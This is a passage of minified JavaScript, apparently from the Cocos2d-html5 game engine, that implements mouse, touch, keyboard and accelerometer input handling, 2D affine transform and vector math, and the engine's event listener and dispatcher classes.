  139. g.y,f)]);f=d.ep(g,f,b.Cc.YG);f.Zm(c.button);b.sa.dispatchEvent(f);c.stopPropagation();c.preventDefault();a.focus()},!1),b.Ja(a,"mouseup",function(c){d.qo=!1;var f=d.Kh(a),g=d.fp(c,f);e||d.yx([d.Us(g.x,g.y,f)]);f=d.ep(g,f,b.Cc.zA);f.Zm(c.button);b.sa.dispatchEvent(f);c.stopPropagation();c.preventDefault()},!1),b.Ja(a,"mousemove",function(c){var f=d.Kh(a),g=d.fp(c,f);e||d.eF([d.Us(g.x,g.y,f)]);f=d.ep(g,f,b.Cc.nH);d.qo?f.Zm(c.button):f.Zm(null);b.sa.dispatchEvent(f);c.stopPropagation();c.preventDefault()},
  140. !1),b.Ja(a,"mousewheel",function(c){var e=d.Kh(a),f=d.fp(c,e),e=d.ep(f,e,b.Cc.Vz);e.Zm(c.button);e.vP(0,c.wheelDelta);b.sa.dispatchEvent(e);c.stopPropagation();c.preventDefault()},!1),b.Ja(a,"DOMMouseScroll",function(c){var e=d.Kh(a),f=d.fp(c,e),e=d.ep(f,e,b.Cc.Vz);e.Zm(c.button);e.vP(0,-120*c.detail);b.sa.dispatchEvent(e);c.stopPropagation();c.preventDefault()},!1));if(window.navigator.msPointerEnabled){var f={MSPointerDown:d.dF,MSPointerMove:d.eF,MSPointerUp:d.yx,MSPointerCancel:d.GN},g;for(g in f)(function(c,
  141. e){b.Ja(a,c,function(c){var f=d.Kh(a);f.left-=document.documentElement.scrollLeft;f.top-=document.documentElement.scrollTop;e.call(d,[d.Us(c.clientX,c.clientY,f)]);c.stopPropagation()},!1)})(g,f[g])}e&&(b.Ja(a,"touchstart",function(c){if(c.changedTouches){var e=d.Kh(a);e.left-=document.body.scrollLeft;e.top-=document.body.scrollTop;d.dF(d.vx(c,e));c.stopPropagation();c.preventDefault();a.focus()}},!1),b.Ja(a,"touchmove",function(c){if(c.changedTouches){var e=d.Kh(a);e.left-=document.body.scrollLeft;
  142. e.top-=document.body.scrollTop;d.eF(d.vx(c,e));c.stopPropagation();c.preventDefault()}},!1),b.Ja(a,"touchend",function(c){if(c.changedTouches){var e=d.Kh(a);e.left-=document.body.scrollLeft;e.top-=document.body.scrollTop;d.yx(d.vx(c,e));c.stopPropagation();c.preventDefault()}},!1),b.Ja(a,"touchcancel",function(e){if(e.changedTouches){var f=d.Kh(a);f.left-=document.body.scrollLeft;f.top-=document.body.scrollTop;c.GN(d.vx(e,f));e.stopPropagation();e.preventDefault()}},!1));this.lL();this.kL();this.EK=
  143. !0}},lL:function(){},kL:function(){},update:function(a){this.Hl>this.bv&&(this.Hl-=this.bv,b.sa.dispatchEvent(new b.$Q(this.MA)));this.Hl+=a}};var n=b.VN;n.uha=function(a){this.av!==a&&(this.av=a,a=b.D.Yk(),this.av?(this.Hl=0,a.bG(this)):(this.Hl=0,a.St(this)))};n.vha=function(a){this.bv!==a&&(this.bv=a)};n.lL=function(){b.Ja(b.Za,"keydown",function(a){b.sa.dispatchEvent(new b.bH(a.keyCode,!0));a.stopPropagation();a.preventDefault()},!1);b.Ja(b.Za,"keyup",function(a){b.sa.dispatchEvent(new b.bH(a.keyCode,!1));a.stopPropagation();a.preventDefault()},!1)};
  144. n.kL=function(){var a=window;this.MA=new b.dQ;this.$u=a.DeviceMotionEvent||a.DeviceOrientationEvent;b.ib.zm==b.ib.RG&&(this.$u=window.DeviceOrientationEvent);b.Ja(a,this.$u==a.DeviceMotionEvent?"devicemotion":"deviceorientation",this.IZ.bind(this),!1)};
  145. n.IZ=function(a){var c=window;if(this.av){var d=this.MA;if(this.$u==window.DeviceMotionEvent){var e=a.accelerationIncludingGravity;d.x=this.WI*e.x*0.1;d.y=this.WI*e.y*0.1;d.z=0.1*e.z}else d.x=a.gamma/90*0.981,d.y=0.981*-(a.beta/90),d.z=a.alpha/90*0.981;d.timestamp=a.timeStamp||Date.now();a=d.x;c.orientation===b.iU?(d.x=-d.y,d.y=a):c.orientation===b.hU?(d.x=d.y,d.y=-a):c.orientation===b.jU&&(d.x=-d.x,d.y=-d.y)}};delete n;b.o5=function(a,c,d,e,f,g){this.a=a;this.b=c;this.C=d;this.I=e;this.Na=f;this.Oa=g};b.r5=function(a,c,d,e,f,g){return{a:a,b:c,C:d,I:e,Na:f,Oa:g}};b.LH=function(a,c){return{x:c.a*a.x+c.C*a.y+c.Na,y:c.b*a.x+c.I*a.y+c.Oa}};b.hk=function(a,c,d){return{x:d.a*a+d.C*c+d.Na,y:d.b*a+d.I*c+d.Oa}};b.a7=function(a,c){return{width:c.a*a.width+c.C*a.height,height:c.b*a.width+c.I*a.height}};b.s5=function(){return{a:1,b:0,C:0,I:1,Na:0,Oa:0}};b.q5=function(){return{a:1,b:0,C:0,I:1,Na:0,Oa:0}};
  146. b.Sz=function(a,c){var d=b.zp(a),e=b.yp(a),f=b.zt(a),g=b.At(a),h=b.hk(e,d,c),d=b.hk(f,d,c),e=b.hk(e,g,c),k=b.hk(f,g,c),f=Math.min(h.x,d.x,e.x,k.x),g=Math.max(h.x,d.x,e.x,k.x),m=Math.min(h.y,d.y,e.y,k.y),h=Math.max(h.y,d.y,e.y,k.y);return Q(f,m,g-f,h-m)};
  147. b.DU=function(a,c){var d=b.zp(a),e=b.yp(a),f=b.zt(a),g=b.At(a),h=b.hk(e,d,c),d=b.hk(f,d,c),e=b.hk(e,g,c),k=b.hk(f,g,c),f=Math.min(h.x,d.x,e.x,k.x),g=Math.max(h.x,d.x,e.x,k.x),m=Math.min(h.y,d.y,e.y,k.y),h=Math.max(h.y,d.y,e.y,k.y);a.x=f;a.y=m;a.width=g-f;a.height=h-m;return a};b.hQ=function(a,c,d){return{a:a.a,b:a.b,C:a.C,I:a.I,Na:a.Na+a.a*c+a.C*d,Oa:a.Oa+a.b*c+a.I*d}};b.u5=function(a,c,d){return{a:a.a*c,b:a.b*c,C:a.C*d,I:a.I*d,Na:a.Na,Oa:a.Oa}};
  148. b.t5=function(a,c){var d=Math.sin(c),e=Math.cos(c);return{a:a.a*e+a.C*d,b:a.b*e+a.I*d,C:a.C*e-a.a*d,I:a.I*e-a.b*d,Na:a.Na,Oa:a.Oa}};b.nl=function(a,c){return{a:a.a*c.a+a.b*c.C,b:a.a*c.b+a.b*c.I,C:a.C*c.a+a.I*c.C,I:a.C*c.b+a.I*c.I,Na:a.Na*c.a+a.Oa*c.C+c.Na,Oa:a.Na*c.b+a.Oa*c.I+c.Oa}};b.p5=function(a,c){return a.a===c.a&&a.b===c.b&&a.C===c.C&&a.I===c.I&&a.Na===c.Na&&a.Oa===c.Oa};
  149. b.LG=function(a){var c=1/(a.a*a.I-a.b*a.C);return{a:c*a.I,b:-c*a.b,C:-c*a.C,I:c*a.a,Na:c*(a.C*a.Oa-a.I*a.Na),Oa:c*(a.b*a.Na-a.a*a.Oa)}};b.xH=parseFloat("1.192092896e-07F");b.MF=function(a){return N(-a.x,-a.y)};b.Hi=function(a,c){return N(a.x+c.x,a.y+c.y)};b.Id=function(a,c){return N(a.x-c.x,a.y-c.y)};b.Ii=function(a,c){return N(a.x*c,a.y*c)};b.zO=function(a,c){return b.Ii(b.Hi(a,c),0.5)};b.vp=function(a,c){return a.x*c.x+a.y*c.y};b.f2=function(a,c){return a.x*c.y-a.y*c.x};b.ly=function(a){return N(-a.y,a.x)};b.bga=function(a){return N(a.y,-a.x)};b.aga=function(a,c){return b.Ii(c,b.vp(a,c)/b.vp(c,c))};
  150. b.cga=function(a,c){return N(a.x*c.x-a.y*c.y,a.x*c.y+a.y*c.x)};b.fga=function(a,c){return N(a.x*c.x+a.y*c.y,a.y*c.x-a.x*c.y)};b.xO=function(a){return b.vp(a,a)};b.wO=function(a,c){return b.xO(b.Id(a,c))};b.dl=function(a){return Math.sqrt(b.xO(a))};b.Xfa=function(a,c){return b.dl(b.Id(a,c))};b.Pg=function(a){return b.Ii(a,1/b.dl(a))};b.Yfa=function(a){return N(Math.cos(a),Math.sin(a))};b.j2=function(a){return Math.atan2(a.y,a.x)};b.Sc=function(a,c,d){if(c>d){var e=c;c=d;d=e}return a<c?c:a<d?a:d};
  151. b.vO=function(a){var c=N(0,0),d=N(1,1);return N(b.Sc(a.x,c.x,d.x),b.Sc(a.y,c.y,d.y))};b.g2=function(){var a=b.D.R;return N(a.width,a.height)};b.Wfa=function(a,c){return N(c(a.x),c(a.y))};b.yO=function(a,c,d){return b.Hi(b.Ii(a,1-d),b.Ii(c,d))};b.Zfa=function(a,c,d){return a.x-d<=c.x&&c.x<=a.x+d&&a.y-d<=c.y&&c.y<=a.y+d?!0:!1};b.Vfa=function(a,c){return N(a.x*c.x,a.y*c.y)};b.Ufa=function(a,c){var d=b.Pg(a),e=b.Pg(c),d=Math.atan2(d.x*e.y-d.y*e.x,b.vp(d,e));return Math.abs(d)<b.xH?0:d};
  152. b.Tfa=function(a,c){var d=Math.acos(b.vp(b.Pg(a),b.Pg(c)));return Math.abs(d)<b.xH?0:d};b.i2=function(a,c,d){a=b.Id(a,c);var e=Math.cos(d);d=Math.sin(d);var f=a.x;a.x=f*e-a.y*d+c.x;a.y=f*d+a.y*e+c.y;return a};b.LF=function(a,c,d,e,f){if(a.x==c.x&&a.y==c.y||d.x==e.x&&d.y==e.y)return!1;var g=c.x-a.x;c=c.y-a.y;var h=e.x-d.x;e=e.y-d.y;var k=a.x-d.x;a=a.y-d.y;d=e*g-h*c;f.x=h*a-e*k;f.y=g*a-c*k;if(0==d)return 0==f.x||0==f.y?!0:!1;f.x/=d;f.y/=d;return!0};
  153. b.ega=function(a,c,d,e){var f=N(0,0);return b.LF(a,c,d,e,f)&&0<=f.x&&1>=f.x&&0<=f.y&&1>=f.y?!0:!1};b.$fa=function(a,c,d,e){var f=N(0,0);return b.LF(a,c,d,e,f)?(d=N(0,0),d.x=a.x+f.x*(c.x-a.x),d.y=a.y+f.x*(c.y-a.y),d):N(0,0)};b.dga=function(a,c){return null!=a&&null!=c?a.x==c.x&&a.y==c.y:!1};b.my=function(a){a.x=0;a.y=0};b.Hj=function(a,c){a.x=c.x;a.y=c.y};b.wp=function(a,c){a.x*=c;a.y*=c};b.AO=function(a,c){a.x-=c.x;a.y-=c.y};b.ky=function(a,c){a.x+=c.x;a.y+=c.y};
  154. b.h2=function(a){b.wp(a,1/Math.sqrt(a.x*a.x+a.y*a.y))};b.GG=function(a,c,d,e,f){f+=e;if(!(1>=f)){c*=0.5;for(var g,h=f-1,k=e;k<f;k++){g=2*k;var m=N(a[2*k],a[2*k+1]),p;if(0===k)p=b.ly(b.Pg(b.Id(m,N(a[2*(k+1)],a[2*(k+1)+1]))));else if(k===h)p=b.ly(b.Pg(b.Id(N(a[2*(k-1)],a[2*(k-1)+1]),m)));else{p=N(a[2*(k-1)],a[2*(k-1)+1]);var r=N(a[2*(k+1)],a[2*(k+1)+1]),s=b.Pg(b.Id(r,m)),u=b.Pg(b.Id(p,m)),t=Math.acos(b.vp(s,u));p=t<b.$f(70)?b.ly(b.Pg(b.zO(s,u))):t<b.$f(170)?b.Pg(b.zO(s,u)):b.ly(b.Pg(b.Id(r,p)))}p=b.Ii(p,c);d[2*g]=m.x+p.x;d[2*g+1]=m.y+p.y;d[2*(g+1)]=m.x-
  155. p.x;d[2*(g+1)+1]=m.y-p.y}for(k=0==e?0:e-1;k<h;k++)g=2*k,a=g+2,c=new b.Zb(d[2*g],d[2*g+1]),f=new b.Zb(d[2*(g+1)],d[2*(g+1)+1]),g=new b.Zb(d[2*a],d[2*a]),e=new b.Zb(d[2*(a+1)],d[2*(a+1)+1]),c=!b.Q4(c.x,c.y,e.x,e.y,f.x,f.y,g.x,g.y),!c.dt&&(0>c.value||1<c.value)&&(c.dt=!0),c.dt&&(d[2*a]=e.x,d[2*a+1]=e.y,d[2*(a+1)]=g.x,d[2*(a+1)+1]=g.y)}};
  156. b.Q4=function(a,c,d,e,f,g,h,k){if(a==d&&c==e||f==h&&g==k)return{dt:!1,value:0};d-=a;e-=c;f-=a;g-=c;h-=a;k-=c;a=Math.sqrt(d*d+e*e);d/=a;e/=a;c=f*d+g*e;g=g*d-f*e;f=c;c=h*d+k*e;k=k*d-h*e;h=c;return g==k?{dt:!1,value:0}:{dt:!0,value:(h+(f-h)*k/(k-g))/a}};b.lka=function(a){for(var c=0,d=a.length;c<d;c++){var e=a[(c+1)%d];if(0<b.f2(b.Id(e,a[c]),b.Id(a[(c+2)%d],e)))return!1}return!0};b.K5=function(a,c){c[2]=c[3]=c[6]=c[7]=c[8]=c[9]=c[11]=c[14]=0;c[10]=c[15]=1;c[0]=a.a;c[4]=a.C;c[12]=a.Na;c[1]=a.b;c[5]=a.I;c[13]=a.Oa};b.e6=function(a,c){c.a=a[0];c.C=a[4];c.Na=a[12];c.b=a[1];c.I=a[5];c.Oa=a[13]};b.oA=b.ja.extend({Cd:null,pi:null,mh:0,QL:!1,hs:null,ctor:function(a,c,d){this.Cd=N(a||0,c||0);this.mh=d||0},Ts:function(){return{x:this.Cd.x,y:this.Cd.y}},Z_:function(){return this.Cd.x},$_:function(){return this.Cd.y},Iba:function(){return{x:this.pi.x,y:this.pi.y}},Zba:function(){return{x:this.hs.x,y:this.hs.y}},NE:function(){return b.Id(this.Cd,this.pi)},Y_:function(){return{x:this.Cd.x,y:this.Cd.y}},Jba:function(){return{x:this.pi.x,y:this.pi.y}},$ba:function(){return{x:this.hs.x,y:this.hs.y}},
  157. Uaa:function(){return this.mh},Vaa:function(){return this.mh},gja:function(a,c,d){this.pi=this.Cd;this.Cd=N(c||0,d||0);this.mh=a;this.QL||(this.hs=N(this.Cd),this.QL=!0)},hD:function(a,c){void 0===c?(this.Cd.x=a.x,this.Cd.y=a.y):(this.Cd.x=a,this.Cd.y=c)},vo:function(a,c){this.pi=void 0===c?N(a.x,a.y):N(a||0,c||0)}});b.qc=b.ja.extend({mc:0,Vl:!1,Wc:null,$C:function(a){this.Wc=a},ctor:function(a){this.mc=a},$E:function(){return this.mc},stopPropagation:function(){this.Vl=!0},pda:function(){return this.Vl},saa:function(){return this.Wc}});b.qc.Mu=0;b.qc.on=1;b.qc.en=2;b.qc.vl=3;b.qc.Vp=4;b.Oi=b.qc.extend({xB:null,cM:null,ctor:function(a){b.qc.prototype.ctor.call(this,b.qc.Vp);this.xB=a},setUserData:function(a){this.cM=a},getUserData:function(){return this.cM},Kaa:function(){return this.xB}});
  158. b.Cc=b.qc.extend({ZJ:0,ZA:0,Ch:0,Ne:0,EC:0,FC:0,yL:0,zL:0,ctor:function(a){b.qc.prototype.ctor.call(this,b.qc.vl);this.ZJ=a},vP:function(a,c){this.yL=a;this.zL=c},Vba:function(){return this.yL},Wba:function(){return this.zL},x3:function(a,c){this.Ch=a;this.Ne=c},Ts:function(){return{x:this.Ch,y:this.Ne}},Y_:function(){return{x:this.Ch,y:b.view.Qn.height-this.Ne}},UX:function(a,c){this.EC=a;this.FC=c},NE:function(){return{x:this.Ch-this.EC,y:this.Ne-this.FC}},waa:function(){return this.Ch-this.EC},
  159. xaa:function(){return this.Ne-this.FC},Zm:function(a){this.ZA=a},eaa:function(){return this.ZA},Z_:function(){return this.Ch},$_:function(){return this.Ne}});b.Cc.NONE=0;b.Cc.YG=1;b.Cc.zA=2;b.Cc.nH=3;b.Cc.Vz=4;b.Cc.pQ=0;b.Cc.I5=2;b.Cc.H5=1;b.Cc.C5=3;b.Cc.D5=4;b.Cc.E5=5;b.Cc.F5=6;b.Cc.G5=7;
  160. b.sg=b.qc.extend({rk:0,Tk:null,ctor:function(a){b.qc.prototype.ctor.call(this,b.qc.Mu);this.Tk=a||[]},Jaa:function(){return this.rk},sca:function(){return this.Tk},r8:function(a){this.rk=a},t8:function(a){this.Tk=a}});b.sg.C6=5;b.sg.jn={Ty:0,vz:1,fz:2,Yy:3};b.va=b.ja.extend({lC:null,mc:0,ii:null,pf:!1,uk:0,mf:null,lc:!1,lo:!0,ctor:function(a,c,d){this.lC=d;this.mc=a||0;this.ii=c||""},gD:function(a){this.lc=a},e8:function(){return this.lc},$r:function(a){this.pf=a},KW:function(){return this.pf},d8:function(){return this.mc},a8:function(){return this.ii},aD:function(a){this.uk=a},Z7:function(){return this.uk},as:function(a){this.mf=a},b8:function(){return this.mf},Wk:function(){return null!=this.lC},j:function(){return null},ve:function(a){this.lo=a},
  161. isEnabled:function(){return this.lo},uy:function(){},Ki:function(){}});b.va.sU=0;b.va.Ou=1;b.va.Nu=2;b.va.on=3;b.va.vl=4;b.va.en=5;b.va.Vp=6;b.Uq=b.va.extend({Rr:null,ctor:function(a,c){this.Rr=c;var d=this;b.va.prototype.ctor.call(this,b.va.Vp,a,function(a){null!=d.Rr&&d.Rr(a)})},Wk:function(){return b.va.prototype.Wk.call(this)&&null!=this.Rr},j:function(){return new b.Uq(this.ii,this.Rr)}});b.Uq.create=function(a,c){return new b.Uq(a,c)};
  162. b.gk=b.va.extend({nt:null,hy:null,fy:null,gy:null,ctor:function(){var a=this;b.va.prototype.ctor.call(this,b.va.vl,b.gk.rc,function(c){var d=b.Cc;switch(c.ZJ){case d.YG:a.nt&&a.nt(c);break;case d.zA:a.hy&&a.hy(c);break;case d.nH:a.fy&&a.fy(c);break;case d.Vz:a.gy&&a.gy(c)}})},j:function(){var a=new b.gk;a.nt=this.nt;a.hy=this.hy;a.fy=this.fy;a.gy=this.gy;return a},Wk:function(){return!0}});b.gk.rc="__cc_mouse";b.gk.create=function(){return new b.gk};
  163. b.Zh=b.va.extend({Kn:null,Lt:!1,tp:null,qt:null,pt:null,ot:null,ctor:function(){b.va.prototype.ctor.call(this,b.va.Ou,b.Zh.rc,null);this.Kn=[]},Xia:function(a){this.Lt=a},j:function(){var a=new b.Zh;a.tp=this.tp;a.qt=this.qt;a.pt=this.pt;a.ot=this.ot;a.Lt=this.Lt;return a},Wk:function(){return this.tp?!0:(b.log(b.e.zU),!1)}});b.Zh.rc="__cc_touch_one_by_one";b.Zh.create=function(){return new b.Zh};
  164. b.Yh=b.va.extend({up:null,tt:null,st:null,rt:null,ctor:function(){b.va.prototype.ctor.call(this,b.va.Nu,b.Yh.rc,null)},j:function(){var a=new b.Yh;a.up=this.up;a.tt=this.tt;a.st=this.st;a.rt=this.rt;return a},Wk:function(){return null==this.up&&null==this.tt&&null==this.st&&null==this.rt?(b.log(b.e.yU),!1):!0}});b.Yh.rc="__cc_touch_all_at_once";b.Yh.create=function(){return new b.Yh};
  165. b.va.create=function(a){b.assert(a&&a.event,b.e.aR);var c=a.event;delete a.event;var d=null;c===b.va.Ou?d=new b.Zh:c===b.va.Nu?d=new b.Yh:c===b.va.vl?d=new b.gk:c===b.va.Vp?(d=new b.Uq(a.p_,a.mE),delete a.p_,delete a.mE):c===b.va.on?d=new b.fk:c===b.va.en&&(d=new b.ek(a.mE),delete a.mE);for(var e in a)d[e]=a[e];return d};b.wM=function(a){var c,d=a.length,e=Array(d);for(c=0;c<d;c+=1)e[c]=a[c];return e};b.AU=b.ja.extend({Nf:null,Uf:null,FN:0,ctor:function(){this.Nf=[];this.Uf=[]},size:function(){return this.Nf.length+this.Uf.length},empty:function(){return 0===this.Nf.length&&0===this.Uf.length},push:function(a){0==a.uk?this.Uf.push(a):this.Nf.push(a)},vZ:function(){this.Uf.length=0},uZ:function(){this.Nf.length=0},clear:function(){this.Uf.length=0;this.Nf.length=0},Maa:function(){return this.Nf},Tba:function(){return this.Uf}});
  166. b.Xu=function(a){var c=b.qc,d=a.mc;if(d===c.en)return b.ek.rc;if(d===c.Vp)return a.xB;if(d===c.on)return b.fk.rc;if(d===c.vl)return b.gk.rc;d===c.Mu&&b.log(b.e.Xu);return""};
  167. b.sa={cz:0,$t:1,Xp:2,U5:3,Eg:{},Xr:{},ki:{},cw:{},nK:{},Go:[],mr:[],Tl:0,lo:!1,SK:0,JW:[b.Hc.cu,b.Hc.Yp],vw:function(a){null!=this.ki[a.xa]&&this.mr.push(a);a=a.s;for(var c=0,d=a.length;c<d;c++)this.vw(a[c])},xp:function(a,c){var d=this.ki[a.xa],e,f;if(d)for(e=0,f=d.length;e<f;e++)d[e].gD(!0);if(!0===c)for(d=a.s,e=0,f=d.length;e<f;e++)this.xp(d[e],!0)},Lj:function(a,c){var d=this.ki[a.xa],e,f;if(d)for(e=0,f=d.length;e<f;e++)d[e].gD(!1);this.vw(a);if(!0===c)for(d=a.s,e=0,f=d.length;e<f;e++)this.Lj(d[e],
  168. !0)},ZI:function(a){0===this.Tl?this.eK(a):this.Go.push(a)},eK:function(a){var c=a.ii,d=this.Eg[c];d||(d=new b.AU,this.Eg[c]=d);d.push(a);0==a.uk?(this.Kk(c,this.Xp),c=a.mf,null==c&&b.log(b.e.i_),this.PU(c,a),c.vh&&this.Lj(c)):this.Kk(c,this.$t)},KB:function(a){return this.Eg[a]},GY:function(){if(0!=this.mr.length){for(var a=this.mr,c,d,e=this.ki,f=0,g=a.length;f<g;f++)if(c=e[a[f].xa])for(var h=0,k=c.length;h<k;h++)(d=c[h])&&this.Kk(d.ii,this.Xp);this.mr.length=0}},mL:function(a){if(a)for(var c,d=
  169. 0;d<a.length;)c=a[d],c.$r(!1),null!=c.mf&&(this.sJ(c.mf,c),c.as(null)),0===this.Tl?b.Oe(a,c):++d},fm:function(a){var c=this.Eg[a];if(c){var d=c.Nf;this.mL(c.Uf);this.mL(d);delete this.Xr[a];this.Tl||(c.clear(),delete this.Eg[a])}for(var d=this.Go,e,c=0;c<d.length;)(e=d[c])&&e.ii==a?b.Oe(d,e):++c},oD:function(a){var c=this.cz,d=this.Xr;d[a]&&(c=d[a]);c!=this.cz&&(d[a]=this.cz,c&this.$t&&this.tY(a),c&this.Xp&&((c=b.D.ad)?this.vY(a,c):d[a]=this.Xp))},vY:function(a,c){var d=this.KB(a);if(d){var e=d.Uf;
  170. e&&0!==e.length&&(this.SK=0,this.cw={},this.YD(c,!0),d.Uf.sort(this.sY))}},sY:function(a,c){var d=b.sa.cw;return d[c.mf.xa]-d[a.mf.xa]},tY:function(a){if(a=this.Eg[a]){var c=a.Nf;if(c&&0!==c.length){c.sort(this.uY);for(var d=0,e=c.length;d<e&&!(0<=c[d].uk);)++d;a.FN=d}}},uY:function(a,c){return a.uk-c.uk},mC:function(a){if(a=this.Eg[a]){var c=a.Nf,d=a.Uf,e,f;if(d)for(e=0;e<d.length;)f=d[e],f.pf?++e:b.Oe(d,f);if(c)for(e=0;e<c.length;)f=c[e],f.pf?++e:b.Oe(c,f);d&&0===d.length&&a.vZ();c&&0===c.length&&
  171. a.uZ()}},Qw:function(a){var c=this.Tl;b.assert(0<c,b.e.bR);a.mc==b.qc.Mu?(this.mC(b.Zh.rc),this.mC(b.Yh.rc)):this.mC(b.Xu(a));if(!(1<c)){b.assert(1==c,b.e.cR);a=this.Eg;var c=this.Xr,d;for(d in a)a[d].empty()&&(delete c[d],delete a[d]);d=this.Go;if(0!==d.length){a=0;for(c=d.length;a<c;a++)this.eK(d[a]);this.Go.length=0}}},fX:function(a,c){if(!a.KW)return!1;var d=c.event,e=c.XO;d.$C(a.mf);var f=!1,g,h=d.rk,k=b.sg.jn;h==k.Ty?a.tp&&(f=a.tp(e,d))&&a.pf&&a.Kn.push(e):0<a.Kn.length&&-1!=(g=a.Kn.indexOf(e))&&
  172. (f=!0,h===k.vz&&a.qt?a.qt(e,d):h===k.fz?(a.pt&&a.pt(e,d),a.pf&&a.Kn.splice(g,1)):h===k.Yy&&(a.ot&&a.ot(e,d),a.pf&&a.Kn.splice(g,1)));return d.Vl?(b.sa.Qw(d),!0):f&&a.pf&&a.Lt?(c.X1&&c.touches.splice(e,1),!0):!1},uV:function(a){this.oD(b.Zh.rc);this.oD(b.Yh.rc);var c=this.KB(b.Zh.rc),d=this.KB(b.Yh.rc);if(null!=c||null!=d){var e=a.Tk,f=b.wM(e),g={event:a,X1:c&&d,touches:f,XO:null};if(c)for(var h=0;h<e.length;h++)if(g.XO=e[h],this.pB(c,this.fX,g),a.Vl)return;if(d&&0<f.length&&(this.pB(d,this.hX,{event:a,
  173. touches:f}),a.Vl))return;this.Qw(a)}},hX:function(a,c){if(!a.pf)return!1;var d=b.sg.jn,e=c.event,f=c.touches,g=e.rk;e.$C(a.mf);g==d.Ty&&a.up?a.up(f,e):g==d.vz&&a.tt?a.tt(f,e):g==d.fz&&a.st?a.st(f,e):g==d.Yy&&a.rt&&a.rt(f,e);return e.Vl?(b.sa.Qw(e),!0):!1},PU:function(a,c){var d=this.ki[a.xa];d||(d=[],this.ki[a.xa]=d);d.push(c)},sJ:function(a,c){var d=this.ki[a.xa];d&&(b.Oe(d,c),0===d.length&&delete this.ki[a.xa])},pB:function(a,c,d){var e=!1,f=a.Nf,g=a.Uf,h=0,k;if(f&&0!==f.length)for(;h<a.FN;++h)if(k=
  174. f[h],k.isEnabled()&&!k.lc&&k.pf&&c(k,d)){e=!0;break}if(g&&!e)for(a=0;a<g.length;a++)if(k=g[a],k.isEnabled()&&!k.lc&&k.pf&&c(k,d)){e=!0;break}if(f&&!e)for(;h<f.length&&(k=f[h],!k.isEnabled()||k.lc||!k.pf||!c(k,d));++h);},Kk:function(a,c){var d=this.Xr;d[a]=null==d[a]?c:c|d[a]},YD:function(a,c){var d=a.s,e=0,f=d.length,g=this.nK,h=this.ki;if(0<f){for(var k;e<f;e++)if((k=d[e])&&0>k.zb)this.YD(k,!1);else break;null!=h[a.xa]&&(g[a.aj]||(g[a.aj]=[]),g[a.aj].push(a.xa));for(;e<f;e++)(k=d[e])&&this.YD(k,
  175. !1)}else null!=h[a.xa]&&(g[a.aj]||(g[a.aj]=[]),g[a.aj].push(a.xa));if(c){var d=[],m;for(m in g)d.push(m);d.sort(this.wY);m=d.length;k=this.cw;for(e=0;e<m;e++)for(f=g[d[e]],h=0;h<f.length;h++)k[f[h]]=++this.SK;this.nK={}}},wY:function(a,c){return a-c},addListener:function(a,c){b.assert(a&&c,b.e.k_);if(!(a instanceof b.va))b.assert("number"!==typeof c,b.e.l_),a=b.va.create(a);else if(a.pf){b.log(b.e.m_);return}a.Wk()&&("number"==typeof c?0==c?b.log(b.e.j_):(a.as(null),a.aD(c),a.$r(!0),a.gD(!1),this.ZI(a)):
  176. (a.as(c),a.aD(0),a.$r(!0),this.ZI(a)))},dE:function(a,c){var d=b.Uq.create(a,c);this.addListener(d,1);return d},removeListener:function(a){if(null!=a){var c,d=this.Eg,e;for(e in d){var f=d[e],g=f.Nf;(c=this.nL(f.Uf,a))?this.Kk(a.ii,this.Xp):(c=this.nL(g,a))&&this.Kk(a.ii,this.$t);f.empty()&&(delete this.Xr[a.ii],delete d[e]);if(c)break}if(!c)for(c=this.Go,d=0,e=c.length;d<e;d++)if(f=c[d],f==a){b.Oe(c,f);break}}},nL:function(a,c){if(null==a)return!1;for(var d=0,e=a.length;d<e;d++){var f=a[d];if(f==
  177. c)return f.$r(!1),null!=f.mf&&(this.sJ(f.mf,f),f.as(null)),0==this.Tl&&b.Oe(a,f),!0}return!1},NO:function(a,c){if(a instanceof b.q){delete this.cw[a.xa];b.Oe(this.mr,a);var d=this.ki[a.xa];if(d){for(var e=b.wM(d),d=0;d<e.length;d++)this.removeListener(e[d]);e.length=0;e=this.Go;for(d=0;d<e.length;){var f=e[d];f.mf==a?(f.as(null),f.$r(!1),e.splice(d,1)):++d}if(!0===c)for(e=a.s,d=0,f=e.length;d<f;d++)this.NO(e[d],!0)}}else a==b.va.Ou?this.fm(b.Zh.rc):a==b.va.Nu?this.fm(b.Yh.rc):a==b.va.vl?this.fm(b.gk.rc):
  178. a==b.va.en?this.fm(b.ek.rc):a==b.va.on?this.fm(b.fk.rc):b.log(b.e.n_)},Uga:function(a){this.fm(a)},Pga:function(){var a=this.Eg,c=this.JW,d;for(d in a)-1===c.indexOf(d)&&this.fm(d)},Iia:function(a,c){if(null!=a){var d=this.Eg,e;for(e in d){var f=d[e].Nf;if(f&&-1!=f.indexOf(a)){null!=a.mf&&b.log(b.e.o_);a.uk!==c&&(a.aD(c),this.Kk(a.ii,this.$t));break}}}},ve:function(a){this.lo=a},isEnabled:function(){return this.lo},dispatchEvent:function(a){if(this.lo){this.GY();this.Tl++;if(!a||!a.$E)throw"event is undefined";
  179. if(a.mc==b.qc.Mu)this.uV(a);else{var c=b.Xu(a);this.oD(c);c=this.Eg[c];null!=c&&this.pB(c,this.$W,a);this.Qw(a)}this.Tl--}},$W:function(a,c){c.$C(a.mf);a.lC(c);return c.Vl},J9:function(a,c){var d=new b.Oi(a);d.setUserData(c);this.dispatchEvent(d)}};b.$Q=b.qc.extend({VI:null,ctor:function(a){b.qc.prototype.ctor.call(this,b.qc.en);this.VI=a}});b.bH=b.qc.extend({$B:0,DK:!1,ctor:function(a,c){b.qc.prototype.ctor.call(this,b.qc.on);this.$B=a;this.DK=c}});b.ek=b.va.extend({fw:null,ctor:function(a){this.fw=a;var c=this;b.va.prototype.ctor.call(this,b.va.en,b.ek.rc,function(a){c.fw(a.VI,a)})},Wk:function(){b.assert(this.fw,b.e.wU);return!0},j:function(){return new b.ek(this.fw)}});b.ek.rc="__cc_acceleration";b.ek.create=function(a){return new b.ek(a)};
